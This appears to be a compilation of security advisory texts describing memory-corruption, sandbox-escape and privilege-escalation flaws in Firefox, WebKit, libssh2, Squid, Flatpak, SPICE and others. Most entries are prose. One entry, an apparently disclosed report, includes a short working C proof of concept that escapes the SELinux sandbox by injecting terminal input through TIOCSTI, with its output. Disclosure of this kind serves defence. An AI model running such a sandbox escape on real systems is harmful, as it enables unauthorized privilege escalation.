Incorrect alias information in IonMonkey JIT compiler for Array.prototype.slice method may lead to missing bounds check and a buffer overflow.

Due to a missing case handling object types, a type confusion vulnerability could occur, resulting in a crash. We presume that with enough effort that it could be exploited to run arbitrary code.

A buffer overflow can occur when rendering canvas content while adjusting the height and width of the <canvas> element dynamically, causing data to be written outside of the currently computed boundaries. This results in a potentially exploitable crash.

A use-after-free vulnerability can occur when deleting an input element during a mutation event handler triggered by focusing that element. This results in a potentially exploitable crash.

An integer overflow can occur during graphics operations done by the Supplemental Streaming SIMD Extensions 3 (SSSE3) scaler, resulting in a potentially exploitable crash.

A use-after-free vulnerability can occur when script uses mutation events to move DOM nodes between documents, resulting in the old document that held the node being freed but the node still having a pointer referencing it. This results in a potentially exploitable crash.

An out of bounds memory write while processing Vorbis audio data was reported through the Pwn2Own contest.

A use-after-free vulnerability in the Skia library can occur when creating a path, leading to a potentially exploitable crash.

Moxilla Firefox allows remote attackers to bypass the Same Origin Policy to read arbitrary files or gain privileges.

A flaw was found in pacemaker. Insufficient verification of client-side authentication combined with other IPC weaknesses leads to local privilege escalation.

A vulnerability was found in WebKit. The flaw is triggered when processing maliciously crafted web content that may lead to arbitrary code execution. Improved memory handling addresses the multiple memory corruption issues.

A flaw was found in libssh2 before 1.8.1 creating a vulnerability on the SSH client side. A server could send a multiple keyboard interactive response messages whose total length are greater than unsigned char max characters. This value is used by the SSH client as an index to copy memory causing in an out of bounds memory write error.

RasterImage.cpp in Mozilla Firefox before 27.0, Firefox ESR 24.x before 24.3, Thunderbird before 24.3, and SeaMonkey before 2.24 does not prevent access to discarded data, which allows remote attackers to execute arbitrary code or cause a denial of service (incorrect write operations) via crafted image data, as demonstrated by Goo Create.

The Web Notification API in Mozilla Firefox before 29.0, Firefox ESR 24.x before 24.5, Thunderbird before 24.5, and SeaMonkey before 2.26 allows remote attackers to bypass intended source-component restrictions and execute arbitrary JavaScript code in a privileged context via a crafted web page for which Notification.permission is granted.

Multiple unspecified vulnerabilities in the browser engine in Mozilla Firefox before 29.0, Firefox ESR 24.x before 24.5, Thunderbird before 24.5, and SeaMonkey before 2.26 allow remote attackers to cause a denial of service (memory corruption and application crash) or possibly execute arbitrary code via unknown vectors.

Use-after-free vulnerability in the nsGenericHTMLElement::GetWidthHeightForImage function in Mozilla Firefox before 29.0, Firefox ESR 24.x before 24.5, Thunderbird before 24.5, and SeaMonkey before 2.26 allows remote attackers to execute arbitrary code or cause a denial of service (heap memory corruption) via vectors involving an imgLoader object that is not properly handled during an image-resize operation.

The mozilla::WaveReader::DecodeAudioData function in Mozilla Firefox before 28.0, Firefox ESR 24.x before 24.4, Thunderbird before 24.4, and SeaMonkey before 2.25 allows remote attackers to obtain sensitive information from process heap memory, cause a denial of service (out-of-bounds read and application crash), or possibly have unspecified other impact via a crafted WAV file.

TypedArrayObject.cpp in Mozilla Firefox before 28.0, Firefox ESR 24.x before 24.4, Thunderbird before 24.4, and SeaMonkey before 2.25 does not prevent a zero-length transition during use of an ArrayBuffer object, which allows remote attackers to execute arbitrary code or cause a denial of service (heap-based out-of-bounds write or read) via a crafted web site.

Buffer overflow in the cairotruetypeindextoucs4 function in cairo, as used in Mozilla Firefox before 28.0, Firefox ESR 24.x before 24.4, Thunderbird before 24.4, and SeaMonkey before 2.25, allows remote attackers to execute arbitrary code via a crafted extension that renders fonts in a PDF document.

An issue was discovered in Squid 4.0.23 through 4.7. When checking Basic Authentication with HttpHeader::getAuth, Squid uses a global buffer to store the decoded data. Squid does not check that the decoded length isn't greater than the buffer, leading to a heap-based buffer overflow with user controlled data.

Hi,

When executing a program via the SELinux sandbox, the nonpriv session can escape to the parent session by using the TIOCSTI ioctl to push characters into the terminal's input buffer, allowing an attacker to escape the sandbox.

$ cat test.c #include <unistd.h> #include <sys/ioctl.h>

int main() { char cmd = "id\n"; while(cmd) ioctl(0, TIOCSTI, cmd++); execlp("/bin/id", "id", NULL); }

$ gcc test.c -o test $ /bin/sandbox ./test id uid=1000 gid=1000 groups=1000 context=unconfinedu:unconfinedr:sandboxt:s0:c47,c176 [saken@ghetto ~]$ id <------ did not type this uid=1000(saken) gid=1000(saken) groups=1000(saken) context=unconfinedu:unconfinedr:unconfinedt:s0-s0:c0.c1023

This is similar to CVE-2016-2568, CVE-2016-2779, etc.

Thanks, Federico Bento.

A flaw was found in dbus-proxy/flatpak-proxy.c in Flatpak before 0.8.9, and 0.9.x and 0.10.x before 0.10.3, crafted. D-Bus messages to the host can be used to break out of the sandbox, because whitespace handling in the proxy is not identical to whitespace handling in the daemon.

A vulnerability was discovered in SPICE before version 0.14.1 where the generated code used for demarshalling messages lacked sufficient bounds checks. A malicious client or server, after authentication, could send specially crafted messages to its peer which would result in a crash or, potentially, other impacts.
